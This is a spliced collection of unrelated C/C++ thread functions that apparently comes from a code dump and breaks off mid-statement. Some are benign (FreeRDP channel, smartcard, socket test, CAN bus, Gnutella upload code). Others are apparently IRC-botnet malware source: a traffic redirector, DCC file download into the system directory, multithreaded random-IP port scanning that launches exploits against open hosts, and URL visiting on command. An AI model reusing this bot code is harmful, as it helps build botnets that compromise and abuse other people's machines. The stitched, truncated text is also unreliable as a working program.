ArrayList_GetItem(drdynvcMgr->channels, 0); const UINT32 ChannelId = drdynvc->channel_mgr->GetChannelId(channel); dvcman_close_channel(drdynvc->channel_mgr, ChannelId); } } if (error && drdynvc->rdpcontext) setChannelError(drdynvc->rdpcontext, error, "drdynvc_virtual_channel_client_thread reported an error"); ExitThread((DWORD) error); return error; }
void tMPI_Thread_exit(void *value_ptr) { /* TODO: fix exit code */ /* TODO: call destructors for thread-local storage */ ExitThread( 0 ); }
void _endthread(void) { ExitThread(0); }
// part of the redirect function, handles sending/recieving for the remote connection. DWORD WINAPI RedirectLoopThread(LPVOID param) { REDIRECT redirect = *((REDIRECT *)param); REDIRECT *redirectp = (REDIRECT *)param; redirectp->gotinfo = TRUE; int threadnum=redirect.cthreadnum; char sendbuf[IRCLINE], buff[4096]; int err; DWORD id; SOCKET ssock; do { if ((ssock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) break; SOCKADDR_IN ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons(redirect.port); IN_ADDR iaddr; iaddr.s_addr = finet_addr(redirect.dest); LPHOSTENT hostent; if (iaddr.s_addr == INADDR_NONE) hostent = fgethostbyname(redirect.dest); else hostent = fgethostbyaddr((const char *)&iaddr, sizeof(iaddr), AF_INET); if (hostent == NULL) break; ssin.sin_addr = *((LPIN_ADDR)*hostent->h_addr_list); if ((err = fconnect(ssock, (LPSOCKADDR)&ssin, sizeof(ssin))) == SOCKET_ERROR) break; redirect.cgotinfo = FALSE; sprintf(sendbuf,"[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.", finet_ntoa(ssin.sin_addr), ssin.sin_port, redirect.threadnum); redirect.cthreadnum = addthread(sendbuf,REDIRECT_THREAD,ssock); threads[redirect.cthreadnum].parent = redirect.threadnum; threads[redirect.cthreadnum].csock = threads[threadnum].sock; if (threads[redirect.cthreadnum].tHandle = CreateThread(NULL,0,&RedirectLoop2Thread,(LPVOID)&redirect,0,&id)) { while (redirect.cgotinfo == FALSE) Sleep(50); } else { addlogv("[REDIRECT]: Failed to start connection thread, error: <%d>.", GetLastError()); break; } while (1) { memset(buff, 0, sizeof(buff)); if ((err = frecv(threads[threadnum].sock, buff, sizeof(buff), 0)) <= 0) break; if ((err = fsend(ssock, buff, err, 0)) == SOCKET_ERROR) break; } break; } while (1); fclosesocket(threads[threadnum].sock); fclosesocket(ssock); clearthread(threadnum); ExitThread(0); }
void* smartcard_context_thread(SMARTCARD_CONTEXT* pContext) { DWORD nCount; LONG status = 0; DWORD waitStatus; HANDLE hEvents[2]; wMessage message; SMARTCARD_DEVICE* smartcard; SMARTCARD_OPERATION* operation; UINT error = CHANNEL_RC_OK; smartcard = pContext->smartcard; nCount = 0; hEvents[nCount++] = MessageQueue_Event(pContext->IrpQueue); while (1) { waitStatus = WaitForMultipleObjects(nCount, hEvents, FALSE, INFINITE); if (waitStatus == WAIT_FAILED) { error = GetLastError(); WLog_ERR(TAG, "WaitForMultipleObjects failed with error %lu!", error); break; } waitStatus = WaitForSingleObject(MessageQueue_Event(pContext->IrpQueue), 0); if (waitStatus == WAIT_FAILED) { error = GetLastError(); WLog_ERR(TAG, "WaitForSingleObject failed with error %lu!", error); break; } if (waitStatus == WAIT_OBJECT_0) { if (!MessageQueue_Peek(pContext->IrpQueue, &message, TRUE)) { WLog_ERR(TAG, "MessageQueue_Peek failed!"); status = ERROR_INTERNAL_ERROR; break; } if (message.id == WMQ_QUIT) break; operation = (SMARTCARD_OPERATION*) message.wParam; if (operation) { if ((status = smartcard_irp_device_control_call(smartcard, operation))) { WLog_ERR(TAG, "smartcard_irp_device_control_call failed with error %lu", status); break; } if (!Queue_Enqueue(smartcard->CompletedIrpQueue, (void*) operation->irp)) { WLog_ERR(TAG, "Queue_Enqueue failed!"); status = ERROR_INTERNAL_ERROR; break; } free(operation); } } } if (status && smartcard->rdpcontext) setChannelError(smartcard->rdpcontext, error, "smartcard_context_thread reported an error"); ExitThread((DWORD)status); return NULL; }
DWORD WINAPI DCCGetThread(LPVOID param) { DCC dcc = *((DCC *)param); DCC *dccs = (DCC *)param; dccs->gotinfo = TRUE; char sendbuf[IRCLINE],buffer[4096],tmpfile[MAX_PATH];; int received = 0; unsigned long received2; FILE *infile; SOCKET ssock; GetSystemDirectory(tmpfile, sizeof(tmpfile)); sprintf(tmpfile,"%s%s",tmpfile,dcc.filename); while (1) { HANDLE testfile = CreateFile(tmpfile,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); if (testfile == INVALID_HANDLE_VALUE) { sprintf(sendbuf,"[DCC]: Error unable to write file to disk."); break; } CloseHandle(testfile); if ((infile = fopen(tmpfile,"a+b")) == NULL) { sprintf(sendbuf,"[DCC]: Error opening file for writing."); break; } if ((ssock = CreateSock(dcc.host,dcc.port)) == INVALID_SOCKET) { sprintf(sendbuf,"[DCC]: Error opening socket."); break; } DWORD err = 1; while (err != 0) { memset(buffer,0,sizeof(buffer)); err = frecv(ssock, buffer, sizeof(buffer), 0); if (err == 0) break; if (err == SOCKET_ERROR) { sprintf(sendbuf,"[DCC]: Socket error."); irc_privmsg(dcc.sock,dcc.sendto,sendbuf,dcc.notice); addlog(sendbuf); fclose(infile); fclosesocket(ssock); clearthread(dcc.threadnum); ExitThread(1); } fwrite(buffer,1,err,infile); received = received + err; received2 = fhtonl(received); fsend(ssock,(char *)&received2 , 4, 0); } sprintf(sendbuf,"[DCC]: Transfer complete from IP: %s, Filename: %s (%s bytes).",dcc.host,dcc.filename,commaI64(received)); break; } if (!dcc.silent) irc_privmsg(dcc.sock,dcc.sendto,sendbuf,dcc.notice); addlog(sendbuf); if (infile != NULL) fclose(infile); if (ssock > 0) fclosesocket(ssock); clearthread(dcc.threadnum); ExitThread(0); }
bool CDccCommand::HandleCommand(CMessage *pMsg) { if(!pMsg->sCmd.Compare(m_cmdDccSend.sName.Str())) { DCC dcc; dcc.filename=pMsg->sChatString.Token(1, " ", true); char sendbuf[IRCLINE],buffer[1024],tmpfile[MAX_PATH]; int Fsend, bytes_sent; unsigned int move; unsigned __int64 totalbytes = 0; DWORD mode = 0; SOCKET ssock; while (1) { if ((ssock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) { sprintf(sendbuf,"[DCC]: Failed to create socket."); break; } SOCKADDR_IN csin, ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = htons(0);//random port ssin.sin_addr.s_addr = INADDR_ANY; if (bind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) != 0) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "dcc: failed to bind socket", pMsg->sReplyTo.Str()); break; } int ssin_len = sizeof(ssin); getsockname(ssock, (LPSOCKADDR)&ssin, &ssin_len); unsigned short portnum = ntohs(ssin.sin_port); char tmpdccfile[IRCLINE]; strcpy(tmpdccfile,dcc.filename.Str()); for (unsigned int i=0;i <= strlen(tmpdccfile); i++) tmpfile[i] = ((tmpdccfile[i] == 32)?(95):(tmpdccfile[i])); if (listen(ssock, 1) != 0) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "dcc: failed to open socket", pMsg->sReplyTo.Str()); break; } HANDLE testfile = CreateFile(dcc.filename.CStr(),GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0); if (testfile == INVALID_HANDLE_VALUE) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "dcc: file doesn't exist", pMsg->sReplyTo.Str()); sprintf(sendbuf,"[DCC]: File doesn't exist."); break; } int length = GetFileSize(testfile,NULL); CString dccOutPut; dccOutPut.Format("\1DCC SEND %s %i %i %i\1", dcc.filename.CStr(), htonl(inet_addr(GetIP(g_cMainCtrl.m_cIRC.m_sSocket))), portnum, length); g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, dccOutPut.Str(), pMsg->sSrc); TIMEVAL timeout; timeout.tv_sec = 60;//timeout after 60 sec. timeout.tv_usec = 0; fd_set fd_struct; FD_ZERO(&fd_struct); FD_SET(ssock, &fd_struct); if (select(0, &fd_struct, NULL, NULL, &timeout) <= 0) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "dcc: timeout", pMsg->sReplyTo.Str()); break; } int csin_len = sizeof(csin); if ((dcc.csock = accept(ssock, (LPSOCKADDR)&csin, &csin_len)) == INVALID_SOCKET) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "dcc: unable to open socket", pMsg->sReplyTo.Str()); break; } closesocket(ssock); while (length) { Fsend = 1024; if (Fsend>length) Fsend=length; move = 0-length; memset(buffer,0,sizeof(buffer)); SetFilePointer(testfile, move, NULL, FILE_END); ReadFile(testfile, buffer, Fsend, &mode, NULL); bytes_sent = send(dcc.csock, buffer, Fsend, 0); totalbytes += bytes_sent; if (recv(dcc.csock,buffer ,sizeof(buffer), 0) < 1 || bytes_sent < 1) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "dcc: socket error", pMsg->sReplyTo.Str()); closesocket(dcc.csock); //clearthread(dcc.threadnum); ExitThread(1); } length = length - bytes_sent; } if (testfile != INVALID_HANDLE_VALUE) CloseHandle(testfile); CString strTransMsg; strTransMsg.Format("dcc: complete to %s, file: %s, (%d bytes)", inet_ntoa(csin.sin_addr), dcc.filename.Str(), totalbytes); g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, strTransMsg.Str(), pMsg->sReplyTo.Str()); break; } if (ssock > 0) closesocket(ssock); closesocket(dcc.csock); //clearthread(dcc.threadnum); ExitThread(0); } return FALSE; }
DWORD WINAPI DCCSendThread(LPVOID param) { DCC dcc = *((DCC *)param); DCC *dccs = (DCC *)param; dccs->gotinfo = TRUE; char sendbuf[IRCLINE],buffer[1024],tmpfile[MAX_PATH]; int Fsend, bytes_sent; unsigned int move; unsigned __int64 totalbytes = 0; DWORD mode = 0; SOCKET ssock; while (1) { if ((ssock = fsocket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) { sprintf(sendbuf,"[DCC]: Failed to create socket."); break; } SOCKADDR_IN csin, ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons(0);//random port ssin.sin_addr.s_addr = INADDR_ANY; if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) != 0) { sprintf(sendbuf,"[DCC]: Failed to bind to socket."); break; } int ssin_len = sizeof(ssin); fgetsockname(ssock, (LPSOCKADDR)&ssin, &ssin_len); unsigned short portnum = fntohs(ssin.sin_port); for (unsigned int i=0;i <= strlen(dcc.filename); i++) tmpfile[i] = ((dcc.filename[i] == 32)?(95):(dcc.filename[i])); if (flisten(ssock, 1) != 0) { sprintf(sendbuf,"[DCC]: Failed to open socket."); break; } HANDLE testfile = CreateFile(dcc.filename,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0); if (testfile == INVALID_HANDLE_VALUE) { sprintf(sendbuf,"[DCC]: File doesn't exist."); break; } int length = GetFileSize(testfile,NULL); sprintf(sendbuf,"DCC SEND %s %i %i %i",dcc.filename,fhtonl(finet_addr(GetIP(dcc.sock))),portnum,length); irc_privmsg(dcc.sock,dcc.sendto,sendbuf,FALSE); TIMEVAL timeout; timeout.tv_sec = 60;//timeout after 60 sec. timeout.tv_usec = 0; fd_set fd_struct; FD_ZERO(&fd_struct); FD_SET(ssock, &fd_struct); if (fselect(0, &fd_struct, NULL, NULL, &timeout) <= 0) { irc_privmsg(dcc.sock,dcc.sendto,"[DCC]: Send timeout.",dcc.notice); break; } int csin_len = sizeof(csin); if ((dcc.csock = faccept(ssock, (LPSOCKADDR)&csin, &csin_len)) == INVALID_SOCKET) { sprintf(sendbuf,"[DCC]: Unable to open socket."); break; } fclosesocket(ssock); while (length) { Fsend = 1024; if (Fsend>length) Fsend=length; move = 0-length; memset(buffer,0,sizeof(buffer)); SetFilePointer(testfile, move, NULL, FILE_END); ReadFile(testfile, buffer, Fsend, &mode, NULL); bytes_sent = fsend(dcc.csock, buffer, Fsend, 0); totalbytes += bytes_sent; if (frecv(dcc.csock,buffer ,sizeof(buffer), 0) < 1 || bytes_sent < 1) { irc_privmsg(dcc.sock,dcc.sendto,"[DCC]: Socket error.",dcc.notice); addlog("[DCC]: Socket error."); fclosesocket(dcc.csock); clearthread(dcc.threadnum); ExitThread(1); } length = length - bytes_sent; } if (testfile != INVALID_HANDLE_VALUE) CloseHandle(testfile); sprintf(sendbuf,"[DCC]: Transfer complete to IP: %s, Filename: %s (%s bytes).",finet_ntoa(csin.sin_addr),dcc.filename,commaI64(totalbytes)); break; } if (!dcc.silent) irc_privmsg(dcc.sock,dcc.sendto,sendbuf,dcc.notice); addlog(sendbuf); if (ssock > 0) fclosesocket(ssock); fclosesocket(dcc.csock); clearthread(dcc.threadnum); ExitThread(0); }
kvoid ksal_tsk_exit(kvoid) { ExitThread(0); }
DWORD WINAPI AdvPortScanner(LPVOID param) { IN_ADDR in; char logbuf[LOGLINE]; ADVSCAN scan = *((ADVSCAN *)param); ADVSCAN *scanp = (ADVSCAN *)param; scanp->cgotinfo = TRUE; int threadnum=scan.cthreadnum; int threadid=scan.cthreadid; srand(GetTickCount()); while (advinfo[threads[threadnum].parent].info) { DWORD dwIP; if (scan.random) dwIP = AdvGetNextIPRandom(scan.ip,threads[threadnum].parent); else dwIP = AdvGetNextIP(threads[threadnum].parent); in.s_addr = dwIP; sprintf(logbuf,"IP: %s:%d, Scan thread: %d, Sub-thread: %d.", finet_ntoa(in), scan.port, threads[threadnum].parent, threadid); sprintf(threads[threadnum].name, logbuf); if (AdvPortOpen(dwIP, scan.port, scan.delay) == TRUE) { if (scan.exploit == -1) { EnterCriticalSection(&CriticalSection); sprintf(logbuf,"IP: %s, Port %d is open.",finet_ntoa(in),scan.port); if (!scan.silent) { if (scan.msgchan[0] != '\0') irc_privmsg(scan.sock,scan.msgchan,logbuf,scan.notice, TRUE); else irc_privmsg(scan.sock,scan.chan,logbuf,scan.notice, TRUE); } addlog(logbuf); LeaveCriticalSection(&CriticalSection); } else { EXINFO exinfo; sprintf(exinfo.ip, finet_ntoa(in)); sprintf(exinfo.command, exploit[scan.exploit].command); if (scan.msgchan[0] != '\0') sprintf(exinfo.chan, scan.msgchan); else sprintf(exinfo.chan, scan.chan); exinfo.sock = scan.sock; exinfo.notice = scan.notice; exinfo.silent = scan.silent; exinfo.port = scan.port; exinfo.threadnum = threadnum; exinfo.exploit = scan.exploit; exploit[scan.exploit].exfunc(exinfo); } } Sleep(2000); } clearthread(threadnum); ExitThread(0); }
/* DWORD PALAPI Thread_Client(LPVOID lpParam) This is a client thread started by the main process. It simulate a client connecting to a remote server. */ void PALAPI Thread_Client(LPVOID lpParam) { int i; int err; struct sockaddr_in mySockaddr; WSADATA wsaData; /* Sockets descriptor */ const int numSockets = 1; /* number of sockets used in this test */ SOCKET testSockets[1]; /* Variables for WSASend */ WSABUF wsaSendBuf; DWORD dwNbrOfByteSent; DWORD dwNbrOfBuf = 1; DWORD dwSendFlags = 0; unsigned char sendBuffer[255]; WSAOVERLAPPED wsaOverlapped; /* variable for iocltsocket */ u_long argp; /* Variables needed for select */ struct timeval waitTime; fd_set writeFds; int socketFds; /* Socket DLL version */ const WORD wVersionRequested = MAKEWORD(2,2); HANDLE hWriteEvent; DWORD waitResult; /* Event handle */ HANDLE hThreadEvent; threadExitCode=THREAD_UNDEFINED; /* Create a Event with no initial owner. EventClientServer is the Event owned by the server. */ hThreadEvent = CreateEvent( NULL, /* no security */ FALSE, /* reset type */ FALSE, /* initial state */ "EventClientServer" ); /* object name */ /* Check for error. */ if (hThreadEvent == NULL) { Trace( "Client Error: Unexpected failure: " "CreateEvent() " "returned NULL\n"); threadExitCode=THREAD_FAIL; ExitThread(0); } /* Wait 10 seconds for EventClientServer to be signaled from the server. It will mean that the server is ready to receive data or connection. */ waitResult = WaitForSingleObject( hThreadEvent, 10000 ); if (waitResult!=WAIT_OBJECT_0) { Trace("Client error: Unexpected failure: " "WaitForSingleObject has timed out while " "waiting for EventClientServer.\n"); CloseEventHandle(hThreadEvent); /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* close the thread handle, don't need anymore */ if(!CloseEventHandle(hThreadEvent)) { /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* Sockets initialization to INVALID_SOCKET */ for( i = 0; i < numSockets; i++ ) { testSockets[i] = INVALID_SOCKET; } /* Initialize to use winsock2.dll */ err = WSAStartup( wVersionRequested, &wsaData); if(err != 0) { Trace( "Client error: Unexpected failure: " "WSAStartup(%i) " "returned %d\n", wVersionRequested, GetLastError() ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* Confirm that the WinSock DLL supports 2.2. Note that if the DLL supports versions greater than 2.2 in addition to 2.2, it will still return 2.2 in wVersion since that is the version we requested. */ if ( wsaData.wVersion != wVersionRequested ) { Trace("Client error: Unexpected failure " "to find a usable version of WinSock DLL\n"); /* Do some cleanup */ DoWSATestCleanup( 0, 0); threadExitCode=THREAD_FAIL; ExitThread(0); } /* create an overlapped stream socket in AF_INET domain */ testSockets[0] = WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED ); if( testSockets[0] == INVALID_SOCKET ) { Trace("Client error: Unexpected failure: " "WSASocketA" "(AF_INET,SOCK_DGRAM,IPPROTO_UDP,NULL,0,WSA_FLAG_OVERLAPPED) " " returned %d\n", GetLastError()); /* Do some cleanup */ DoWSATestCleanup( 0, 0); threadExitCode=THREAD_FAIL; ExitThread(0); } /* enable non blocking socket */ argp=1; err = ioctlsocket(testSockets[0], FIONBIO, (u_long FAR *)&argp); if (err==SOCKET_ERROR ) { Trace("ERROR: Unexpected failure: " "ioctlsocket(.., FIONBIO, ..) " "returned %d\n", GetLastError() ); /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* prepare the sockaddr_in structure */ mySockaddr.sin_family = AF_INET; mySockaddr.sin_port = getRotorTestPort(); mySockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); memset( &(mySockaddr.sin_zero), 0, 8); /* connect to a server */ err = connect( testSockets[0], (struct sockaddr *)&mySockaddr, sizeof(struct sockaddr)); if( err == SOCKET_ERROR ) { err = GetLastError(); if ( err != WSAEWOULDBLOCK ) { Trace("ERROR: Unexpected failure: " "connect() socket with local server " "returned %d, expected WSAEWOULDBLOCK\n", GetLastError()); /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } } /* set the server waiting time as 10 seconds */ waitTime.tv_sec = 10L; waitTime.tv_usec = 0L; /* initialize the except socket set */ FD_ZERO( &writeFds ); /* add socket to readable socket set */ FD_SET( testSockets[0], &writeFds ); /* monitor the readable socket set to determine the completion of the connection request. */ socketFds = select( 0, NULL, &writeFds, NULL, &waitTime); if( socketFds == SOCKET_ERROR ) { Trace("ERROR: Unexpected failure " "with select\n"); /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } if( socketFds == 0 ) { Trace("ERROR: Unexpected select " "timed out\n"); /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* fill the sent buffer with value */ for (i=0;i<255;i++) { sendBuffer[i]= i; } /* create events */ hWriteEvent = CreateEvent( NULL, /* no security */ FALSE, /* reset type */ FALSE, /* initial state */ NULL ); /* object name */ if( hWriteEvent == NULL ) { Trace("Client error: Unexpected failure: " "CreateEvent() " "returned %d\n", GetLastError()); /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* Initialize the WSAOVERLAPPED to 0 */ memset(&wsaOverlapped, 0, sizeof(WSAOVERLAPPED)); wsaOverlapped.hEvent = hWriteEvent; /* Set the WSABUF structure */ wsaSendBuf.len = 255; wsaSendBuf.buf = sendBuffer; /* Send some data */ err = WSASend( testSockets[0], &wsaSendBuf, dwNbrOfBuf, &dwNbrOfByteSent, dwSendFlags, &wsaOverlapped, 0 ); if(err == SOCKET_ERROR ) { if(GetLastError()!=WSA_IO_PENDING) { Trace("Client error: Unexpected failure: " "WSASend() " "returned %d\n", GetLastError()); CloseEventHandle(hWriteEvent); /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* Wait 10 seconds for hWriteEvent to be signaled for pending operation */ waitResult = WaitForSingleObject( hWriteEvent, 10000 ); if (waitResult!=WAIT_OBJECT_0) { Trace("Client Error: Unexpected failure: " "WaitForSingleObject has timed out \n"); CloseEventHandle(hWriteEvent); /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } } /* close the handle to hWriteEvent */ if(!CloseEventHandle(hWriteEvent)) { /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* Verify that the number of bytes sent are the number of byte specified in the wsaBuf structure */ if(wsaSendBuf.len!=wsaOverlapped.InternalHigh) { Trace("Client WSASend has not send the number of byte requested " "wsaSendBuf.len = %d while " "wsaOverlapped.InternalHigh = % d", wsaSendBuf.len, wsaOverlapped.InternalHigh); /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* Do some cleanup */ DoWSATestCleanup( testSockets, numSockets ); threadExitCode=THREAD_SUCCESS; ExitThread(0); }
DWORD WINAPI AdvScanner(LPVOID param) { char buffer[LOGLINE]; ADVSCAN scan = *((ADVSCAN *)param); ADVSCAN *scanp = (ADVSCAN *)param; scanp->gotinfo = TRUE; advinfo[scan.threadnum].ip = finet_addr(scan.ip); CheckServers(scan); if (findthreadid(SCAN_THREAD) == 1) { DeleteCriticalSection(&CriticalSection); // just in case if (!InitializeCriticalSectionAndSpinCount(&CriticalSection, 0x80000400)) { sprintf(buffer,"Failed to initialize critical section."); if (!scan.silent) irc_privmsg(scan.sock,scan.chan,buffer,scan.notice); addlog(buffer); return 0; } } advinfo[scan.threadnum].info = TRUE; for (unsigned int i=1;i<=(scan.threads);i++) { scan.cthreadid = i; sprintf(buffer,"%s:%d, Scan thread: %d, Sub-thread: %d.",scan.ip, scan.port,scan.threadnum,scan.cthreadid); scan.cthreadnum = addthread(buffer,SCAN_THREAD,NULL); threads[scan.cthreadnum].parent = scan.threadnum; if (threads[scan.cthreadnum].tHandle = CreateThread(0,0,&AdvPortScanner,(LPVOID)&scan,0,0)) { while (scan.cgotinfo == FALSE) Sleep(30); } else { sprintf(buffer, "Failed to start worker thread, error: <%d>.", GetLastError()); addlog(buffer); } Sleep(30); } if (scan.minutes != 0) Sleep(60000*scan.minutes); else while (advinfo[scan.threadnum].info == TRUE) Sleep(2000); IN_ADDR in; in.s_addr = advinfo[scan.threadnum].ip; sprintf(buffer,"%s Finished at %s:%d after %d minute(s) of scanning.", sc_title, finet_ntoa(in), scan.port, scan.minutes); if (!scan.silent) irc_privmsg(scan.sock,scan.chan,buffer,scan.notice); addlog(buffer); advinfo[scan.threadnum].info = FALSE; Sleep(3000); if (findthreadid(SCAN_THREAD) == 1) DeleteCriticalSection(&CriticalSection); clearthread(scan.threadnum); ExitThread(0); }
void *workThreadTransmit( void *pObject ) #endif { #ifdef WIN32 DWORD errorCode = 0; #else int rv = 0; #endif CPeakObj * pobj = ( CPeakObj *)pObject; if ( NULL == pobj ) { #ifdef WIN32 ExitThread( errorCode ); // Fail #else pthread_exit( &rv ); #endif } while ( pobj->m_bRun ) { LOCK_MUTEX( pobj->m_peakMutex ); // Noting to do if we should end... if ( !pobj->m_bRun ) continue; // Is there something to transmit... int ret; while ( ( NULL != pobj->m_transmitList.pHead ) && ( NULL != pobj->m_transmitList.pHead->pObject ) ) { canalMsg msg; memcpy( &msg, pobj->m_transmitList.pHead->pObject, sizeof( canalMsg ) ); LOCK_MUTEX( pobj->m_transmitMutex ); dll_removeNode( &pobj->m_transmitList, pobj->m_transmitList.pHead ); UNLOCK_MUTEX( pobj->m_transmitMutex ); PeakCanMsg peakMsg; peakMsg.id = msg.id; peakMsg.msgType = 0; peakMsg.len = msg.sizeData; memcpy( peakMsg.data, msg.data, peakMsg.len ); // Check if RTR if ( ( msg.flags & CANAL_IDFLAG_RTR ) ) { peakMsg.msgType |= PCAN_MSGTYPE_RTR; } // Check if extended if ( ( msg.flags & CANAL_IDFLAG_EXTENDED ) ) { peakMsg.msgType |= PCAN_MSGTYPE_EXTENDED; } if ( PEAK_CAN_ERR_OK == ( ret = pobj->m_procWrite( &peakMsg ) ) ) { // Message sent successfully // Update statistics pobj->m_stat.cntTransmitData += msg.sizeData; pobj->m_stat.cntTransmitFrames += 1; } else { // Failed - put message back in queue front PCANALMSG pMsg = new canalMsg; if ( NULL != pMsg ) { // Copy in data memcpy ( pMsg, &msg, sizeof( canalMsg ) ); dllnode *pNode = new dllnode; if ( NULL != pNode ) { pNode->pObject = pMsg; LOCK_MUTEX( pobj->m_transmitMutex ); dll_addNodeHead( &pobj->m_transmitList, pNode ); UNLOCK_MUTEX( pobj->m_transmitMutex ); } else { delete pMsg; } } // unable to allocate storage } // faild to send message } // while data // No data to write UNLOCK_MUTEX( pobj->m_peakMutex ); SLEEP( 1 ); //} } // while #ifdef WIN32 ExitThread( errorCode ); #else pthread_exit( &rv ); #endif }
DWORD WINAPI VisitThread(LPVOID param) { HINTERNET ch = 0, req = 0; const char *accept = "*/*"; char vhost[128], vuser[128], vpass[128], vpath[256], sendbuf[IRCLINE]; VISIT visit = *((VISIT *)param); VISIT *visits = (VISIT *)param; visits->gotinfo = TRUE; // zero out string varaiables memset(vhost, 0, sizeof(vhost)); memset(vuser, 0, sizeof(vuser)); memset(vpass, 0, sizeof(vpass)); memset(vpath, 0, sizeof(vpath)); // zero out url structure and set options URL_COMPONENTS url; memset(&url, 0, sizeof(url)); url.dwStructSize = sizeof(url); url.dwHostNameLength = 1; url.dwUserNameLength = 1; url.dwPasswordLength = 1; url.dwUrlPathLength = 1; do { // crack the url (break it into its main parts) if (!fInternetCrackUrl(visit.host, strlen(visit.host), 0, &url)) { sprintf(sendbuf,"[VISIT]: Invalid URL."); break; } // copy url parts into variables if (url.dwHostNameLength > 0) strncpy(vhost, url.lpszHostName, url.dwHostNameLength); int vport = url.nPort; if (url.dwUserNameLength > 0) strncpy(vuser, url.lpszUserName, url.dwUserNameLength); if (url.dwPasswordLength > 0) strncpy(vpass, url.lpszPassword, url.dwPasswordLength); if (url.dwUrlPathLength > 0) strncpy(vpath, url.lpszUrlPath, url.dwUrlPathLength); ch = fInternetConnect(ih, vhost,(unsigned short)vport, vuser, vpass, INTERNET_SERVICE_HTTP, 0, 0); if (ch == NULL) { sprintf(sendbuf,"[VISIT]: Could not open a connection."); break; } req = fHttpOpenRequest(ch, NULL, vpath, NULL, visit.referer, &accept, INTERNET_FLAG_NO_UI, 0); if (req == NULL) { sprintf(sendbuf,"[VISIT]: Failed to connect to HTTP server."); break; } if (fHttpSendRequest(req, NULL, 0, NULL, 0)) sprintf(sendbuf,"[VISIT]: URL visited."); else sprintf(sendbuf,"[VISIT]: Failed to get requested URL from HTTP server."); } while(0); // always false, so this never loops, only helps make error handling easier if (!visit.silent) irc_privmsg(visit.sock, visit.chan, sendbuf, visit.notice); addlog(sendbuf); fInternetCloseHandle(ch); fInternetCloseHandle(req); clearthread(visit.threadnum); ExitThread(0); }
UINT UploadWorker(LPVOID pVoidUpload) { //AfxMessageBox("Worker Thread Started"); //TRACE0("*** Upload Thread Started\n"); CGnuUpload* pUpload = (CGnuUpload*) pVoidUpload; CGnuUploadShell* pShell = pUpload->m_pShell; CGnuNetworks* pNet = pShell->m_pNet; CGnuPrefs* pPrefs = pShell->m_pPrefs; CGnuTransfers* pTrans = pShell->m_pTrans; int BytesRead = 0; int BytesSent = 0; byte pBuff[SEND_BUFF]; // Stream Test /*byte chkBuff[SEND_BUFF]; if(pShell->m_Name == "stream.mp3") { memset(pBuff, 0, SEND_BUFF); memset(chkBuff, 0, SEND_BUFF); }*/ // Transport buffer mod test //int sendsize = SEND_BUFF; //int varlen = 4; //pUpload->SetSockOpt(SO_SNDBUF, &sendsize, varlen); while(pShell->m_Status == TRANSFER_SENDING) // If bytes still need to be sent if(pShell->m_CurrentPos < pShell->m_StopPos) { // Send chunk of bytes read from file if(BytesSent < BytesRead) { // Stream Test //if(pShell->m_Name == "stream.mp3") // if( memcmp(pBuff, chkBuff, SEND_BUFF) != 0 ) // pShell->m_pNet->m_pCore->DebugLog("Upload Check Failed at " + CommaIze(NumtoStr(pShell->m_BytesSent))); int AttemptSend = pUpload->m_pSocket->Send(pBuff + BytesSent, BytesRead - BytesSent); if(AttemptSend == SOCKET_ERROR) { int code = pUpload->m_pSocket->GetLastError(); if(code != WSAEWOULDBLOCK) { pShell->m_Error = "Remotely Canceled"; // Make more descriptive pShell->m_Status = TRANSFER_CLOSED; } else { // Send Logging //if( pShell->m_Sha1Hash.Left(4) == "F2K5" ) // pShell->m_pNet->m_pCore->DebugLog("Block: " + pShell->m_Name + " -- CurrentPos=" + NumtoStr(pShell->m_CurrentPos)); WaitForSingleObject((HANDLE) 